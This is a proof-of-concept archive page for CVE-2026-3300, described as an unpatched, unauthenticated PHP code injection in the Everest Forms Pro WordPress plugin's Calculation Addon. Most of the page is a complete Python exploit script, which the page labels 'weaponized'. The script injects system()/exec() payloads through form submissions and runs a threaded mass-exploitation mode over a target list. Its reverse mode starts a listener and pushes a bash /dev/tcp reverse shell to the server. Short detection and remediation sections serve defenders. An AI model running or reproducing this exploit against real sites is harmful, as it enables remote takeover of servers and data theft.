PoC Archive PoC Archive
Critical CVE-2026-3300 unpatched

Everest Forms Pro Unauthenticated PHP Code Injection via Calculation Addon (CVE-2026-3300)

by Wordfence (original disclosure); PoC by HORKimhab · 2026-07-05

Severity
Critical
CVE
CVE-2026-3300
Category
web
Affected product
Everest Forms Pro (WordPress plugin) — Calculation Addon
Affected versions
<= 1.9.12
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-06
Author / ResearcherWordfence (original disclosure); PoC by HORKimhab
CVE / AdvisoryCVE-2026-3300
Categoryweb
SeverityCritical
CVSS ScoreNot specified in source
StatusWeaponized (includes working reverse-shell payload builder and listener)
Tagswordpress, everest-forms-pro, php-code-injection, rce, reverse-shell, form-calculation, unauthenticated
RelatedN/A

Affected Target

FieldValue
Software / SystemEverest Forms Pro (WordPress plugin) — Calculation Addon
Versions Affected<= 1.9.12
Language / PlatformPHP (WordPress plugin); PoC written in Python
Authentication RequiredNo
Network Access RequiredYes

Summary

Everest Forms Pro’s Calculation Addon evaluates form field expressions server-side without properly sandboxing attacker-controlled input, allowing an unauthenticated visitor to break out of the expression context and inject arbitrary PHP that gets executed by functions such as system(), exec(), passthru(), or shell_exec(). The included PoC submits a crafted form value (e.g. 1'; system("<cmd>"); echo 'PWNED'; //) to the plugin’s form-submission endpoint (directly or via admin-ajax.php’s everest_forms_process_submission action) to achieve command execution, and can additionally stand up a local listener and push a bash -i reverse shell payload back to the attacker.


Vulnerability Details

Root Cause

The Calculation Addon passes user-supplied form field values into a server-side PHP expression evaluator without adequate input validation/sandboxing, allowing string-context breakout and injection of arbitrary PHP code that is then executed via system()/exec()/passthru()/shell_exec().

Attack Vector

  1. Attacker identifies a WordPress site running Everest Forms Pro with the Calculation Addon (any complex-calculation-enabled form).
  2. Attacker crafts a form field value that breaks out of the numeric/string expression context and appends a PHP function call, e.g. 1'; system("id"); echo 'PWNED'; //.
  3. Attacker submits this payload to the form’s public submission endpoint or wp-admin/admin-ajax.php with action=everest_forms_process_submission.
  4. The Calculation Addon evaluates the field and executes the injected PHP function unauthenticated, returning command output (or, in reverse-shell mode, a shell connects back to an attacker-controlled listener).

Impact

Unauthenticated remote code execution on the WordPress host, directly exploitable without any admin interaction (unlike the sibling CVE-2026-3296 object-injection issue, no trigger phase is required).


Environment / Lab Setup

Target:   WordPress site running Everest Forms Pro <= 1.9.12 with the Calculation Addon enabled on a public form
Attacker: Python 3, `pip install -r requirements.txt` (requests)

Proof of Concept

PoC Script

See cve-2026-3300.py, requirements.txt, targets.txt in this folder.

1
2
3
4
5
python cve-2026-3300.py http://target.com --mode poc -c "whoami"

python cve-2026-3300.py http://target.com --mode reverse --listen 4444

python cve-2026-3300.py --file targets.txt --mode scan

The script probes for Everest Forms via wp-json/everest-forms/v1/forms and admin-ajax.php (scan mode), submits the code-injection payload to execute an arbitrary command and detects success via a PWNED marker or common command-output indicators (poc/exploit modes), and can additionally start a local TCP listener and deliver a bash -i reverse-shell payload to the target (reverse mode).


Detection & Indicators of Compromise

Signs of compromise:

  • Form submissions or admin-ajax.php requests with field values containing PHP syntax like 1'; system( or a PWNED marker string
  • Unexpected outbound TCP connections from the web server shortly after such a request (reverse shell)
  • Unauthorized processes/commands spawned by the PHP-FPM/Apache/webserver user with no corresponding legitimate admin action

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-05 — monitor Wordfence/vendor advisories for a fixed Everest Forms Pro release and update immediately
Interim mitigationDisable the Calculation Addon or the affected forms until patched, and deploy a WAF rule blocking quote-breakout/PHP-function-call patterns in form submission parameters

References


Notes

Mirrored from https://github.com/HORKimhab/CVE-2026-3300 on 2026-07-05.

cve-2026-3300.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
#!/usr/bin/env python3
"""
CVE-2026-3300 PoC / Scanner + Enhanced Exploitation
Everest Forms Pro <= 1.9.12 - Unauthenticated PHP Code Injection (Calculation Addon)
"""

import argparse
import requests
import sys
import socket
import threading
import time
from urllib.parse import urljoin
from concurrent.futures import ThreadPoolExecutor, as_completed

requests.packages.urllib3.disable_warnings()

BANNER = """
CVE-2026-3300 PoC
Everest Forms Pro RCE (PHP Code Injection via Calculation Addon)
"""

def start_listener(port=4444):
    print(f"[*] Starting listener on port {port}...")
    def listener():
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
            s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
            s.bind(("0.0.0.0", port))
            s.listen(1)
            print(f"[+] Listening on 0.0.0.0:{port}")
            conn, addr = s.accept()
            print(f"[+] Reverse shell connected from {addr}")
            while True:
                try:
                    cmd = input("shell> ")
                    if cmd.lower() in ["exit", "quit"]:
                        conn.close()
                        break
                    conn.sendall((cmd + "\n").encode())
                    data = conn.recv(4096).decode(errors='ignore')
                    print(data, end='')
                except:
                    break
    threading.Thread(target=listener, daemon=True).start()
    time.sleep(1.5)

def get_payload(command, payload_type="system"):
    # More reliable payload - breaks out of string context
    cmd_escaped = command.replace('"', '\\"').replace("'", "\\'")
    if payload_type == "system":
        return f"1'; system(\"{cmd_escaped}\"); echo 'PWNED'; //"
    elif payload_type == "exec":
        return f"1'; exec(\"{cmd_escaped}\"); echo 'PWNED'; //"
    elif payload_type == "passthru":
        return f"1'; passthru(\"{cmd_escaped}\"); echo 'PWNED'; //"
    elif payload_type == "shell_exec":
        return f"1'; echo shell_exec(\"{cmd_escaped}\"); echo 'PWNED'; //"
    return f"1'; system(\"{cmd_escaped}\"); echo 'PWNED'; //"

def exploit(target, command="id", payload_type="system", form_id="1", field_name="text_field"):
    print(f"\n[*] Exploiting {target} | Field: {field_name} | Cmd: {command}")
    
    payload = get_payload(command, payload_type)
    
    data = {
        "everest_forms[form_id]": form_id,
        f"everest_forms[fields][{field_name}]": payload,
        "everest_forms[submit]": "1",
    }
    
    urls = [
        urljoin(target, "/wp-admin/admin-ajax.php"),
        urljoin(target, "/")
    ]
    
    for url in urls:
        try:
            post_data = data.copy()
            if "admin-ajax" in url:
                post_data["action"] = "everest_forms_process_submission"
            
            r = requests.post(url, data=post_data, timeout=15, verify=False, allow_redirects=True)
            
            if r.status_code == 200:
                print(f"[+] Response from {url} ({len(r.text)} bytes)")
                if "PWNED" in r.text or any(ind in r.text.lower() for ind in ["uid=", "root:", "www-data", "command not found"]):
                    print(f"[+] SUCCESS on {target}!")
                    print("-" * 80)
                    print(r.text.strip()[:1200])
                    print("-" * 80)
                    return True
        except Exception as e:
            print(f"[-] Error with {url}: {e}")
    
    print(f"[-] No clear success on {target}")
    return False

def reverse_shell(target, lport=4444, form_id="1", field_name="text_field"):
    print(f"\n[*] Sending reverse shell to {target}")
    host = socket.gethostbyname(socket.gethostname())
    rev_payload = f"bash -c 'bash -i >& /dev/tcp/{host}/{lport} 0>&1'"
    
    start_listener(lport)
    time.sleep(2)
    return exploit(target, rev_payload, "system", form_id, field_name)

def scan(target):
    print(f"\n[*] Scanning {target} for Everest Forms...")
    endpoints = ["/wp-json/everest-forms/v1/forms", "/wp-admin/admin-ajax.php"]
    vulnerable = False
    for ep in endpoints:
        try:
            url = urljoin(target, ep)
            r = requests.get(url, timeout=10, verify=False)
            if r.status_code == 200 and ("everest" in r.text.lower() or "evf" in r.text.lower()):
                print(f"[+] Everest Forms detected: {url}")
                vulnerable = True
        except:
            continue
    print("[!] Likely VULNERABLE (if Complex Calculation is enabled)" if vulnerable else "[-] No clear indicators")

def load_targets(file_path):
    try:
        with open(file_path, 'r') as f:
            targets = [line.strip() for line in f if line.strip() and not line.startswith('#')]
        return targets
    except Exception as e:
        print(f"[-] Error reading {file_path}: {e}")
        sys.exit(1)

def main():
    parser = argparse.ArgumentParser(
        description="CVE-2026-3300 PoC Tool - Everest Forms Pro RCE",
        formatter_class=argparse.ArgumentDefaultsHelpFormatter
    )
    
    parser.add_argument("target", nargs="?", help="Single target URL")
    parser.add_argument("-f", "--file", help="Targets file (one URL per line)")
    parser.add_argument("-m", "--mode", choices=["scan", "poc", "exploit", "reverse"], 
                        default="scan", help="Operation mode")
    parser.add_argument("-c", "--command", default="id", help="Command to execute")
    parser.add_argument("-p", "--payload", choices=["system", "exec", "passthru", "shell_exec"],
                        default="system", help="PHP execution function")
    parser.add_argument("-l", "--listen", type=int, metavar="PORT", help="Listener port (reverse mode)")
    parser.add_argument("--form-id", default="1", help="Form ID to target")
    parser.add_argument("--field", default="text_field", 
                        help="Form field name (any string field: text, email, url, etc.)")
    parser.add_argument("-t", "--threads", type=int, default=5, help="Threads for batch mode")

    args = parser.parse_args()

    print(BANNER)

    if not args.target and not args.file:
        parser.print_help()
        print("\nExamples:")
        print("  python cve-2026-3300.py http://localhost --mode scan")
        print("  python cve-2026-3300.py http://localhost --mode exploit --field email_field -c 'whoami'")
        print("  python cve-2026-3300.py --file targets.txt --mode scan")
        print("  python cve-2026-3300.py --file targets.txt --mode exploit --field text_1 -c 'id'")
        sys.exit(1)

    if args.file:
        targets = load_targets(args.file)
        print(f"[+] Loaded {len(targets)} targets")
    else:
        targets = [args.target]

    targets = [t if t.startswith(("http://", "https://")) else "http://" + t for t in targets]

    if args.mode == "scan":
        for target in targets:
            scan(target)
    elif args.mode == "reverse":
        if len(targets) > 1:
            print("[!] Reverse shell works best on single target (using first one)")
        reverse_shell(targets[0], args.listen or 4444, args.form_id, args.field)
    else:
        print(f"[+] Running {args.mode} with {args.threads} threads...")
        with ThreadPoolExecutor(max_workers=args.threads) as executor:
            future_to_target = {
                executor.submit(exploit, target, args.command, args.payload, args.form_id, args.field): target
                for target in targets
            }
            for future in as_completed(future_to_target):
                try:
                    future.result()
                except Exception as e:
                    print(f"[-] Error: {e}")

if __name__ == "__main__":
    main()